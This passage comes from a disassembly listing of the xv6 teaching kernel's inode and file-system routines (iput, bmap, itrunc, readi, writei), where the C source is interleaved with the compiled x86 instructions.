2a 11 80 movl $0x80112a80,(%esp) 801022b7: e8 51 39 00 00 call 80105c0d <release> } 801022bc: c9 leave 801022bd: c3 ret 801022be <iput>: // to it, free the inode (and its content) on disk. // All calls to iput() must be inside a transaction in // case it has to free the inode. void iput(struct inode *ip) { 801022be: 55 push %ebp 801022bf: 89 e5 mov %esp,%ebp 801022c1: 83 ec 18 sub $0x18,%esp acquire(&icache.lock); 801022c4: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 801022cb: e8 db 38 00 00 call 80105bab <acquire> if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){ 801022d0: 8b 45 08 mov 0x8(%ebp),%eax 801022d3: 8b 40 08 mov 0x8(%eax),%eax 801022d6: 83 f8 01 cmp $0x1,%eax 801022d9: 0f 85 93 00 00 00 jne 80102372 <iput+0xb4> 801022df: 8b 45 08 mov 0x8(%ebp),%eax 801022e2: 8b 40 0c mov 0xc(%eax),%eax 801022e5: 83 e0 02 and $0x2,%eax 801022e8: 85 c0 test %eax,%eax 801022ea: 0f 84 82 00 00 00 je 80102372 <iput+0xb4> 801022f0: 8b 45 08 mov 0x8(%ebp),%eax 801022f3: 0f b7 40 16 movzwl 0x16(%eax),%eax 801022f7: 66 85 c0 test %ax,%ax 801022fa: 75 76 jne 80102372 <iput+0xb4> // inode has no links and no other references: truncate and free. if(ip->flags & I_BUSY) 801022fc: 8b 45 08 mov 0x8(%ebp),%eax 801022ff: 8b 40 0c mov 0xc(%eax),%eax 80102302: 83 e0 01 and $0x1,%eax 80102305: 84 c0 test %al,%al 80102307: 74 0c je 80102315 <iput+0x57> panic("iput busy"); 80102309: c7 04 24 0e 94 10 80 movl $0x8010940e,(%esp) 80102310: e8 28 e2 ff ff call 8010053d <panic> ip->flags |= I_BUSY; 80102315: 8b 45 08 mov 0x8(%ebp),%eax 80102318: 8b 40 0c mov 0xc(%eax),%eax 8010231b: 89 c2 mov %eax,%edx 8010231d: 83 ca 01 or $0x1,%edx 80102320: 8b 45 08 mov 0x8(%ebp),%eax 80102323: 89 50 0c mov %edx,0xc(%eax) release(&icache.lock); 80102326: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 8010232d: e8 db 38 00 00 call 80105c0d <release> itrunc(ip); 80102332: 8b 45 08 mov 0x8(%ebp),%eax 80102335: 89 04 24 mov %eax,(%esp) 80102338: e8 72 01 00 00 call 801024af <itrunc> ip->type = 0; 8010233d: 8b 45 08 mov 0x8(%ebp),%eax 80102340: 66 c7 40 10 00 00 movw $0x0,0x10(%eax) iupdate(ip); 80102346: 8b 45 08 mov 0x8(%ebp),%eax 80102349: 89 04 24 mov %eax,(%esp) 8010234c: e8 f2 fb ff ff call 80101f43 <iupdate> acquire(&icache.lock); 80102351: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 80102358: e8 4e 38 00 00 call 80105bab <acquire> ip->flags = 0; 8010235d: 8b 45 08 mov 0x8(%ebp),%eax 80102360: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) wakeup(ip); 80102367: 8b 45 08 mov 0x8(%ebp),%eax 8010236a: 89 04 24 mov %eax,(%esp) 8010236d: e8 36 34 00 00 call 801057a8 <wakeup> } ip->ref--; 80102372: 8b 45 08 mov 0x8(%ebp),%eax 80102375: 8b 40 08 mov 0x8(%eax),%eax 80102378: 8d 50 ff lea -0x1(%eax),%edx 8010237b: 8b 45 08 mov 0x8(%ebp),%eax 8010237e: 89 50 08 mov %edx,0x8(%eax) release(&icache.lock); 80102381: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 80102388: e8 80 38 00 00 call 80105c0d <release> } 8010238d: c9 leave 8010238e: c3 ret 8010238f <iunlockput>: // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { 8010238f: 55 push %ebp 80102390: 89 e5 mov %esp,%ebp 80102392: 83 ec 18 sub $0x18,%esp iunlock(ip); 80102395: 8b 45 08 mov 0x8(%ebp),%eax 80102398: 89 04 24 mov %eax,(%esp) 8010239b: e8 b9 fe ff ff call 80102259 <iunlock> iput(ip); 801023a0: 8b 45 08 mov 0x8(%ebp),%eax 801023a3: 89 04 24 mov %eax,(%esp) 801023a6: e8 13 ff ff ff call 801022be <iput> } 801023ab: c9 leave 801023ac: c3 ret 801023ad <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 801023ad: 55 push %ebp 801023ae: 89 e5 mov %esp,%ebp 801023b0: 53 push %ebx 801023b1: 83 ec 24 sub $0x24,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 801023b4: 83 7d 0c 0b cmpl $0xb,0xc(%ebp) 801023b8: 77 3e ja 801023f8 <bmap+0x4b> if((addr = ip->addrs[bn]) == 0) 801023ba: 8b 45 08 mov 0x8(%ebp),%eax 801023bd: 8b 55 0c mov 0xc(%ebp),%edx 801023c0: 83 c2 04 add $0x4,%edx 801023c3: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax 801023c7: 89 45 f4 mov %eax,-0xc(%ebp) 801023ca: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801023ce: 75 20 jne 801023f0 <bmap+0x43> ip->addrs[bn] = addr = balloc(ip->dev); 801023d0: 8b 45 08 mov 0x8(%ebp),%eax 801023d3: 8b 00 mov (%eax),%eax 801023d5: 89 04 24 mov %eax,(%esp) 801023d8: e8 e2 f7 ff ff call 80101bbf <balloc> 801023dd: 89 45 f4 mov %eax,-0xc(%ebp) 801023e0: 8b 45 08 mov 0x8(%ebp),%eax 801023e3: 8b 55 0c mov 0xc(%ebp),%edx 801023e6: 8d 4a 04 lea 0x4(%edx),%ecx 801023e9: 8b 55 f4 mov -0xc(%ebp),%edx 801023ec: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4) return addr; 801023f0: 8b 45 f4 mov -0xc(%ebp),%eax 801023f3: e9 b1 00 00 00 jmp 801024a9 <bmap+0xfc> } bn -= NDIRECT; 801023f8: 83 6d 0c 0c subl $0xc,0xc(%ebp) if(bn < NINDIRECT){ 801023fc: 83 7d 0c 7f cmpl $0x7f,0xc(%ebp) 80102400: 0f 87 97 00 00 00 ja 8010249d <bmap+0xf0> // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) 80102406: 8b 45 08 mov 0x8(%ebp),%eax 80102409: 8b 40 4c mov 0x4c(%eax),%eax 8010240c: 89 45 f4 mov %eax,-0xc(%ebp) 8010240f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80102413: 75 19 jne 8010242e <bmap+0x81> ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80102415: 8b 45 08 mov 0x8(%ebp),%eax 80102418: 8b 00 mov (%eax),%eax 8010241a: 89 04 24 mov %eax,(%esp) 8010241d: e8 9d f7 ff ff call 80101bbf <balloc> 80102422: 89 45 f4 mov %eax,-0xc(%ebp) 80102425: 8b 45 08 mov 0x8(%ebp),%eax 80102428: 8b 55 f4 mov -0xc(%ebp),%edx 8010242b: 89 50 4c mov %edx,0x4c(%eax) bp = bread(ip->dev, addr); 8010242e: 8b 45 08 mov 0x8(%ebp),%eax 80102431: 8b 00 mov (%eax),%eax 80102433: 8b 55 f4 mov -0xc(%ebp),%edx 80102436: 89 54 24 04 mov %edx,0x4(%esp) 8010243a: 89 04 24 mov %eax,(%esp) 8010243d: e8 64 dd ff ff call 801001a6 <bread> 80102442: 89 45 f0 mov %eax,-0x10(%ebp) a = (uint*)bp->data; 80102445: 8b 45 f0 mov -0x10(%ebp),%eax 80102448: 83 c0 18 add $0x18,%eax 8010244b: 89 45 ec mov %eax,-0x14(%ebp) if((addr = a[bn]) == 0){ 8010244e: 8b 45 0c mov 0xc(%ebp),%eax 80102451: c1 e0 02 shl $0x2,%eax 80102454: 03 45 ec add -0x14(%ebp),%eax 80102457: 8b 00 mov (%eax),%eax 80102459: 89 45 f4 mov %eax,-0xc(%ebp) 8010245c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80102460: 75 2b jne 8010248d <bmap+0xe0> a[bn] = addr = balloc(ip->dev); 80102462: 8b 45 0c mov 0xc(%ebp),%eax 80102465: c1 e0 02 shl $0x2,%eax 80102468: 89 c3 mov %eax,%ebx 8010246a: 03 5d ec add -0x14(%ebp),%ebx 8010246d: 8b 45 08 mov 0x8(%ebp),%eax 80102470: 8b 00 mov (%eax),%eax 80102472: 89 04 24 mov %eax,(%esp) 80102475: e8 45 f7 ff ff call 80101bbf <balloc> 8010247a: 89 45 f4 mov %eax,-0xc(%ebp) 8010247d: 8b 45 f4 mov -0xc(%ebp),%eax 80102480: 89 03 mov %eax,(%ebx) log_write(bp); 80102482: 8b 45 f0 mov -0x10(%ebp),%eax 80102485: 89 04 24 mov %eax,(%esp) 80102488: e8 99 1a 00 00 call 80103f26 <log_write> } brelse(bp); 8010248d: 8b 45 f0 mov -0x10(%ebp),%eax 80102490: 89 04 24 mov %eax,(%esp) 80102493: e8 7f dd ff ff call 80100217 <brelse> return addr; 80102498: 8b 45 f4 mov -0xc(%ebp),%eax 8010249b: eb 0c jmp 801024a9 <bmap+0xfc> } panic("bmap: out of range"); 8010249d: c7 04 24 18 94 10 80 movl $0x80109418,(%esp) 801024a4: e8 94 e0 ff ff call 8010053d <panic> } 801024a9: 83 c4 24 add $0x24,%esp 801024ac: 5b pop %ebx 801024ad: 5d pop %ebp 801024ae: c3 ret 801024af <itrunc>: // to it (no directory entries referring to it) // and has no in-memory reference to it (is // not an open file or current directory). static void itrunc(struct inode *ip) { 801024af: 55 push %ebp 801024b0: 89 e5 mov %esp,%ebp 801024b2: 83 ec 28 sub $0x28,%esp int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 801024b5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801024bc: eb 44 jmp 80102502 <itrunc+0x53> if(ip->addrs[i]){ 801024be: 8b 45 08 mov 0x8(%ebp),%eax 801024c1: 8b 55 f4 mov -0xc(%ebp),%edx 801024c4: 83 c2 04 add $0x4,%edx 801024c7: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax 801024cb: 85 c0 test %eax,%eax 801024cd: 74 2f je 801024fe <itrunc+0x4f> bfree(ip->dev, ip->addrs[i]); 801024cf: 8b 45 08 mov 0x8(%ebp),%eax 801024d2: 8b 55 f4 mov -0xc(%ebp),%edx 801024d5: 83 c2 04 add $0x4,%edx 801024d8: 8b 54 90 0c mov 0xc(%eax,%edx,4),%edx 801024dc: 8b 45 08 mov 0x8(%ebp),%eax 801024df: 8b 00 mov (%eax),%eax 801024e1: 89 54 24 04 mov %edx,0x4(%esp) 801024e5: 89 04 24 mov %eax,(%esp) 801024e8: e8 19 f8 ff ff call 80101d06 <bfree> ip->addrs[i] = 0; 801024ed: 8b 45 08 mov 0x8(%ebp),%eax 801024f0: 8b 55 f4 mov -0xc(%ebp),%edx 801024f3: 83 c2 04 add $0x4,%edx 801024f6: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4) 801024fd: 00 { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 801024fe: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80102502: 83 7d f4 0b cmpl $0xb,-0xc(%ebp) 80102506: 7e b6 jle 801024be <itrunc+0xf> bfree(ip->dev, ip->addrs[i]); ip->addrs[i] = 0; } } if(ip->addrs[NDIRECT]){ 80102508: 8b 45 08 mov 0x8(%ebp),%eax 8010250b: 8b 40 4c mov 0x4c(%eax),%eax 8010250e: 85 c0 test %eax,%eax 80102510: 0f 84 8f 00 00 00 je 801025a5 <itrunc+0xf6> bp = bread(ip->dev, ip->addrs[NDIRECT]); 80102516: 8b 45 08 mov 0x8(%ebp),%eax 80102519: 8b 50 4c mov 0x4c(%eax),%edx 8010251c: 8b 45 08 mov 0x8(%ebp),%eax 8010251f: 8b 00 mov (%eax),%eax 80102521: 89 54 24 04 mov %edx,0x4(%esp) 80102525: 89 04 24 mov %eax,(%esp) 80102528: e8 79 dc ff ff call 801001a6 <bread> 8010252d: 89 45 ec mov %eax,-0x14(%ebp) a = (uint*)bp->data; 80102530: 8b 45 ec mov -0x14(%ebp),%eax 80102533: 83 c0 18 add $0x18,%eax 80102536: 89 45 e8 mov %eax,-0x18(%ebp) for(j = 0; j < NINDIRECT; j++){ 80102539: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 80102540: eb 2f jmp 80102571 <itrunc+0xc2> if(a[j]) 80102542: 8b 45 f0 mov -0x10(%ebp),%eax 80102545: c1 e0 02 shl $0x2,%eax 80102548: 03 45 e8 add -0x18(%ebp),%eax 8010254b: 8b 00 mov (%eax),%eax 8010254d: 85 c0 test %eax,%eax 8010254f: 74 1c je 8010256d <itrunc+0xbe> bfree(ip->dev, a[j]); 80102551: 8b 45 f0 mov -0x10(%ebp),%eax 80102554: c1 e0 02 shl $0x2,%eax 80102557: 03 45 e8 add -0x18(%ebp),%eax 8010255a: 8b 10 mov (%eax),%edx 8010255c: 8b 45 08 mov 0x8(%ebp),%eax 8010255f: 8b 00 mov (%eax),%eax 80102561: 89 54 24 04 mov %edx,0x4(%esp) 80102565: 89 04 24 mov %eax,(%esp) 80102568: e8 99 f7 ff ff call 80101d06 <bfree> } if(ip->addrs[NDIRECT]){ bp = bread(ip->dev, ip->addrs[NDIRECT]); a = (uint*)bp->data; for(j = 0; j < NINDIRECT; j++){ 8010256d: 83 45 f0 01 addl $0x1,-0x10(%ebp) 80102571: 8b 45 f0 mov -0x10(%ebp),%eax 80102574: 83 f8 7f cmp $0x7f,%eax 80102577: 76 c9 jbe 80102542 <itrunc+0x93> if(a[j]) bfree(ip->dev, a[j]); } brelse(bp); 80102579: 8b 45 ec mov -0x14(%ebp),%eax 8010257c: 89 04 24 mov %eax,(%esp) 8010257f: e8 93 dc ff ff call 80100217 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 80102584: 8b 45 08 mov 0x8(%ebp),%eax 80102587: 8b 50 4c mov 0x4c(%eax),%edx 8010258a: 8b 45 08 mov 0x8(%ebp),%eax 8010258d: 8b 00 mov (%eax),%eax 8010258f: 89 54 24 04 mov %edx,0x4(%esp) 80102593: 89 04 24 mov %eax,(%esp) 80102596: e8 6b f7 ff ff call 80101d06 <bfree> ip->addrs[NDIRECT] = 0; 8010259b: 8b 45 08 mov 0x8(%ebp),%eax 8010259e: c7 40 4c 00 00 00 00 movl $0x0,0x4c(%eax) } ip->size = 0; 801025a5: 8b 45 08 mov 0x8(%ebp),%eax 801025a8: c7 40 18 00 00 00 00 movl $0x0,0x18(%eax) iupdate(ip); 801025af: 8b 45 08 mov 0x8(%ebp),%eax 801025b2: 89 04 24 mov %eax,(%esp) 801025b5: e8 89 f9 ff ff call 80101f43 <iupdate> } 801025ba: c9 leave 801025bb: c3 ret 801025bc <stati>: // Copy stat information from inode. void stati(struct inode *ip, struct stat *st) { 801025bc: 55 push %ebp 801025bd: 89 e5 mov %esp,%ebp st->dev = ip->dev; 801025bf: 8b 45 08 mov 0x8(%ebp),%eax 801025c2: 8b 00 mov (%eax),%eax 801025c4: 89 c2 mov %eax,%edx 801025c6: 8b 45 0c mov 0xc(%ebp),%eax 801025c9: 89 50 04 mov %edx,0x4(%eax) st->ino = ip->inum; 801025cc: 8b 45 08 mov 0x8(%ebp),%eax 801025cf: 8b 50 04 mov 0x4(%eax),%edx 801025d2: 8b 45 0c mov 0xc(%ebp),%eax 801025d5: 89 50 08 mov %edx,0x8(%eax) st->type = ip->type; 801025d8: 8b 45 08 mov 0x8(%ebp),%eax 801025db: 0f b7 50 10 movzwl 0x10(%eax),%edx 801025df: 8b 45 0c mov 0xc(%ebp),%eax 801025e2: 66 89 10 mov %dx,(%eax) st->nlink = ip->nlink; 801025e5: 8b 45 08 mov 0x8(%ebp),%eax 801025e8: 0f b7 50 16 movzwl 0x16(%eax),%edx 801025ec: 8b 45 0c mov 0xc(%ebp),%eax 801025ef: 66 89 50 0c mov %dx,0xc(%eax) st->size = ip->size; 801025f3: 8b 45 08 mov 0x8(%ebp),%eax 801025f6: 8b 50 18 mov 0x18(%eax),%edx 801025f9: 8b 45 0c mov 0xc(%ebp),%eax 801025fc: 89 50 10 mov %edx,0x10(%eax) } 801025ff: 5d pop %ebp 80102600: c3 ret 80102601 <readi>: //PAGEBREAK! // Read data from inode. int readi(struct inode *ip, char *dst, uint off, uint n) { 80102601: 55 push %ebp 80102602: 89 e5 mov %esp,%ebp 80102604: 53 push %ebx 80102605: 83 ec 24 sub $0x24,%esp uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80102608: 8b 45 08 mov 0x8(%ebp),%eax 8010260b: 0f b7 40 10 movzwl 0x10(%eax),%eax 8010260f: 66 83 f8 03 cmp $0x3,%ax 80102613: 75 60 jne 80102675 <readi+0x74> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80102615: 8b 45 08 mov 0x8(%ebp),%eax 80102618: 0f b7 40 12 movzwl 0x12(%eax),%eax 8010261c: 66 85 c0 test %ax,%ax 8010261f: 78 20 js 80102641 <readi+0x40> 80102621: 8b 45 08 mov 0x8(%ebp),%eax 80102624: 0f b7 40 12 movzwl 0x12(%eax),%eax 80102628: 66 83 f8 09 cmp $0x9,%ax 8010262c: 7f 13 jg 80102641 <readi+0x40> 8010262e: 8b 45 08 mov 0x8(%ebp),%eax 80102631: 0f b7 40 12 movzwl 0x12(%eax),%eax 80102635: 98 cwtl 80102636: 8b 04 c5 00 2a 11 80 mov -0x7feed600(,%eax,8),%eax 8010263d: 85 c0 test %eax,%eax 8010263f: 75 0a jne 8010264b <readi+0x4a> return -1; 80102641: b8 ff ff ff ff mov $0xffffffff,%eax 80102646: e9 1b 01 00 00 jmp 80102766 <readi+0x165> return devsw[ip->major].read(ip, dst, n); 8010264b: 8b 45 08 mov 0x8(%ebp),%eax 8010264e: 0f b7 40 12 movzwl 0x12(%eax),%eax 80102652: 98 cwtl 80102653: 8b 14 c5 00 2a 11 80 mov -0x7feed600(,%eax,8),%edx 8010265a: 8b 45 14 mov 0x14(%ebp),%eax 8010265d: 89 44 24 08 mov %eax,0x8(%esp) 80102661: 8b 45 0c mov 0xc(%ebp),%eax 80102664: 89 44 24 04 mov %eax,0x4(%esp) 80102668: 8b 45 08 mov 0x8(%ebp),%eax 8010266b: 89 04 24 mov %eax,(%esp) 8010266e: ff d2 call *%edx 80102670: e9 f1 00 00 00 jmp 80102766 <readi+0x165> } if(off > ip->size || off + n < off) 80102675: 8b 45 08 mov 0x8(%ebp),%eax 80102678: 8b 40 18 mov 0x18(%eax),%eax 8010267b: 3b 45 10 cmp 0x10(%ebp),%eax 8010267e: 72 0d jb 8010268d <readi+0x8c> 80102680: 8b 45 14 mov 0x14(%ebp),%eax 80102683: 8b 55 10 mov 0x10(%ebp),%edx 80102686: 01 d0 add %edx,%eax 80102688: 3b 45 10 cmp 0x10(%ebp),%eax 8010268b: 73 0a jae 80102697 <readi+0x96> return -1; 8010268d: b8 ff ff ff ff mov $0xffffffff,%eax 80102692: e9 cf 00 00 00 jmp 80102766 <readi+0x165> if(off + n > ip->size) 80102697: 8b 45 14 mov 0x14(%ebp),%eax 8010269a: 8b 55 10 mov 0x10(%ebp),%edx 8010269d: 01 c2 add %eax,%edx 8010269f: 8b 45 08 mov 0x8(%ebp),%eax 801026a2: 8b 40 18 mov 0x18(%eax),%eax 801026a5: 39 c2 cmp %eax,%edx 801026a7: 76 0c jbe 801026b5 <readi+0xb4> n = ip->size - off; 801026a9: 8b 45 08 mov 0x8(%ebp),%eax 801026ac: 8b 40 18 mov 0x18(%eax),%eax 801026af: 2b 45 10 sub 0x10(%ebp),%eax 801026b2: 89 45 14 mov %eax,0x14(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801026b5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801026bc: e9 96 00 00 00 jmp 80102757 <readi+0x156> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801026c1: 8b 45 10 mov 0x10(%ebp),%eax 801026c4: c1 e8 09 shr $0x9,%eax 801026c7: 89 44 24 04 mov %eax,0x4(%esp) 801026cb: 8b 45 08 mov 0x8(%ebp),%eax 801026ce: 89 04 24 mov %eax,(%esp) 801026d1: e8 d7 fc ff ff call 801023ad <bmap> 801026d6: 8b 55 08 mov 0x8(%ebp),%edx 801026d9: 8b 12 mov (%edx),%edx 801026db: 89 44 24 04 mov %eax,0x4(%esp) 801026df: 89 14 24 mov %edx,(%esp) 801026e2: e8 bf da ff ff call 801001a6 <bread> 801026e7: 89 45 f0 mov %eax,-0x10(%ebp) m = min(n - tot, BSIZE - off%BSIZE); 801026ea: 8b 45 10 mov 0x10(%ebp),%eax 801026ed: 89 c2 mov %eax,%edx 801026ef: 81 e2 ff 01 00 00 and $0x1ff,%edx 801026f5: b8 00 02 00 00 mov $0x200,%eax 801026fa: 89 c1 mov %eax,%ecx 801026fc: 29 d1 sub %edx,%ecx 801026fe: 89 ca mov %ecx,%edx 80102700: 8b 45 f4 mov -0xc(%ebp),%eax 80102703: 8b 4d 14 mov 0x14(%ebp),%ecx 80102706: 89 cb mov %ecx,%ebx 80102708: 29 c3 sub %eax,%ebx 8010270a: 89 d8 mov %ebx,%eax 8010270c: 39 c2 cmp %eax,%edx 8010270e: 0f 46 c2 cmovbe %edx,%eax 80102711: 89 45 ec mov %eax,-0x14(%ebp) memmove(dst, bp->data + off%BSIZE, m); 80102714: 8b 45 f0 mov -0x10(%ebp),%eax 80102717: 8d 50 18 lea 0x18(%eax),%edx 8010271a: 8b 45 10 mov 0x10(%ebp),%eax 8010271d: 25 ff 01 00 00 and $0x1ff,%eax 80102722: 01 c2 add %eax,%edx 80102724: 8b 45 ec mov -0x14(%ebp),%eax 80102727: 89 44 24 08 mov %eax,0x8(%esp) 8010272b: 89 54 24 04 mov %edx,0x4(%esp) 8010272f: 8b 45 0c mov 0xc(%ebp),%eax 80102732: 89 04 24 mov %eax,(%esp) 80102735: e8 93 37 00 00 call 80105ecd <memmove> brelse(bp); 8010273a: 8b 45 f0 mov -0x10(%ebp),%eax 8010273d: 89 04 24 mov %eax,(%esp) 80102740: e8 d2 da ff ff call 80100217 <brelse> if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80102745: 8b 45 ec mov -0x14(%ebp),%eax 80102748: 01 45 f4 add %eax,-0xc(%ebp) 8010274b: 8b 45 ec mov -0x14(%ebp),%eax 8010274e: 01 45 10 add %eax,0x10(%ebp) 80102751: 8b 45 ec mov -0x14(%ebp),%eax 80102754: 01 45 0c add %eax,0xc(%ebp) 80102757: 8b 45 f4 mov -0xc(%ebp),%eax 8010275a: 3b 45 14 cmp 0x14(%ebp),%eax 8010275d: 0f 82 5e ff ff ff jb 801026c1 <readi+0xc0> bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); brelse(bp); } return n; 80102763: 8b 45 14 mov 0x14(%ebp),%eax } 80102766: 83 c4 24 add $0x24,%esp 80102769: 5b pop %ebx 8010276a: 5d pop %ebp 8010276b: c3 ret 8010276c <writei>: // PAGEBREAK! // Write data to inode. int writei(struct inode *ip, char *src, uint off, uint n) { 8010276c: 55 push %ebp 8010276d: 89 e5 mov %esp,%ebp 8010276f: 53 push %ebx 80102770: 83 ec 24 sub $0x24,%esp uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80102773: 8b 45 08 mov 0x8(%ebp),%eax 80102776: 0f b7 40 10 movzwl 0x10(%eax),%eax 8010277a: 66 83 f8 03 cmp $0x3,%ax 8010277e: 75 60 jne 801027e0 <writei+0x74> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80102780: 8b 45 08 mov 0x8(%ebp),%eax 80102783: 0f b7 40 12 movzwl 0x12(%eax),%eax 80102787: 66 85 c0 test %ax,%ax 8010278a: 78 20 js 801027ac <writei+0x40> 8010278c: 8b 45 08 mov 0x8(%ebp),%eax 8010278f: 0f b7 40 12 movzwl 0x12(%eax),%eax 80102793: 66 83 f8 09 cmp $0x9,%ax 80102797: 7f 13 jg 801027ac <writei+0x40> 80102799: 8b 45 08 mov 0x8(%ebp),%eax 8010279c: 0f b7 40 12 movzwl 0x12(%eax),%eax 801027a0: 98 cwtl 801027a1: 8b 04 c5 04 2a 11 80 mov -0x7feed5fc(,%eax,8),%eax 801027a8: 85 c0 test %eax,%eax 801027aa: 75 0a jne 801027b6 <writei+0x4a> return -1; 801027ac: b8 ff ff ff ff mov $0xffffffff,%eax 801027b1: e9 46 01 00 00 jmp 801028fc <writei+0x190> return devsw[ip->major].write(ip, src, n); 801027b6: 8b 45 08 mov 0x8(%ebp),%eax 801027b9: 0f b7 40 12 movzwl 0x12(%eax),%eax 801027bd: 98 cwtl 801027be: 8b 14 c5 04 2a 11 80 mov -0x7feed5fc(,%eax,8),%edx 801027c5: 8b 45 14 mov 0x14(%ebp),%eax 801027c8: 89 44 24 08 mov %eax,0x8(%esp) 801027cc: 8b 45 0c mov 0xc(%ebp),%eax 801027cf: 89 44 24 04 mov %eax,0x4(%esp) 801027d3: 8b 45 08 mov 0x8(%ebp),%eax 801027d6: 89 04 24 mov %eax,(%esp) 801027d9: ff d2 call *%edx 801027db: e9 1c 01 00 00 jmp 801028fc <writei+0x190> } if(off > ip->size || off + n < off) 801027e0: 8b 45 08 mov 0x8(%ebp),%eax 801027e3: 8b 40 18 mov 0x18(%eax),%eax 801027e6: 3b 45 10 cmp 0x10(%ebp),%eax 801027e9: 72 0d jb 801027f8 <writei+0x8c> 801027eb: 8b 45 14 mov 0x14(%ebp),%eax 801027ee: 8b 55 10 mov 0x10(%ebp),%edx 801027f1: 01 d0 add %edx,%eax 801027f3: 3b 45 10 cmp 0x10(%ebp),%eax 801027f6: 73 0a jae 80102802 <writei+0x96> return -1; 801027f8: b8 ff ff ff ff mov $0xffffffff,%eax 801027fd: e9 fa 00 00 00 jmp 801028fc <writei+0x190> if(off + n > MAXFILE*BSIZE) 80102802: 8b 45 14 mov 0x14(%ebp),%eax 80102805: 8b 55 10 mov 0x10(%ebp),%edx 80102808: 01 d0 add %edx,%eax 8010280a: 3d 00 18 01 00 cmp $0x11800,%eax 8010280f: 76 0a jbe 8010281b <writei+0xaf> return -1; 80102811: b8 ff ff ff ff mov $0xffffffff,%eax 80102816: e9 e1 00 00 00 jmp 801028fc <writei+0x190> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 8010281b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80102822: e9 a1 00 00 00 jmp 801028c8 <writei+0x15c> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80102827: 8b 45 10 mov 0x10(%ebp),%eax 8010282a: c1 e8 09 shr $0x9,%eax 8010282d: 89 44 24 04 mov %eax,0x4(%esp) 80102831: 8b 45 08 mov 0x8(%ebp),%eax 80102834: 89 04 24 mov %eax,(%esp) 80102837: e8 71 fb ff ff call 801023ad <bmap> 8010283c: 8b 55 08 mov 0x8(%ebp),%edx 8010283f: 8b 12 mov (%edx),%edx 80102841: 89 44 24 04 mov %eax,0x4(%esp) 80102845: 89 14 24 mov %edx,(%esp) 80102848: e8 59 d9 ff ff call 801001a6 <bread> 8010284d: 89 45 f0 mov %eax,-0x10(%ebp) m = min(n - tot, BSIZE - off%BSIZE); 80102850: 8b 45 10 mov 0x10(%ebp),%eax 80102853: 89 c2 mov %eax,%edx 80102855: 81 e2 ff 01 00 00 and $0x1ff,%edx 8010285b: b8 00 02 00 00 mov $0x200,%eax 80102860: 89 c1 mov %eax,%ecx 80102862: 29 d1 sub %edx,%ecx 80102864: 89 ca mov %ecx,%edx 80102866: 8b 45 f4 mov -0xc(%ebp),%eax 80102869: 8b 4d 14 mov 0x14(%ebp),%ecx 8010286c: 89 cb mov %ecx,%ebx 8010286e: 29 c3 sub %eax,%ebx 80102870: 89 d8 mov %ebx,%eax 80102872: 39 c2 cmp %eax,%edx 80102874: 0f 46 c2 cmovbe %edx,%eax 80102877: 89 45 ec mov %eax,-0x14(%ebp) memmove(bp->data + off%BSIZE, src, m); 8010287a: 8b 45 f0 mov -0x10(%ebp),%eax 8010287d: 8d 50 18 lea 0x18(%eax),%edx 80102880: 8b 45 10 mov 0x10(%ebp),%eax 80102883: 25 ff 01 00 00 and $0x1ff,%eax 80102888: 01 c2 add %eax,%edx 8010288a: 8b 45 ec mov -0x14(%ebp),%eax 8010288d: 89 44 24 08 mov %eax,0x8(%esp) 80102891: 8b 45 0c mov 0xc(%ebp),%eax 80102894: 89 44 24 04 mov %eax,0x4(%esp) 80102898: 89 14 24 mov %edx,(%esp) 8010289b: e8 2d 36 00 00 call 80105ecd <memmove> log_write(bp); 801028a0: 8b 45 f0 mov -0x10(%ebp),%eax 801028a3: 89 04 24 mov %eax,(%esp) 801028a6: e8 7b 16 00 00 call 80103f26 <log_write> brelse(bp); 801028ab: 8b 45 f0 mov -0x10(%ebp),%eax 801028ae: 89 04 24 mov %eax,(%esp) 801028b1: e8 61 d9 ff ff call 80100217 <brelse> if(off > ip->size || off + n < off) return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 801028b6: 8b 45 ec mov -0x14(%ebp),%eax 801028b9: 01 45 f4 add %eax,-0xc(%ebp) 801028bc: 8b 45 ec mov -0x14(%ebp),%eax 801028bf: 01 45 10 add %eax,0x10(%ebp) 801028c2: 8b 45 ec mov -0x14(%ebp),%eax 801028c5: 01 45 0c add %eax,0xc(%ebp) 801028c8: 8b 45 f4 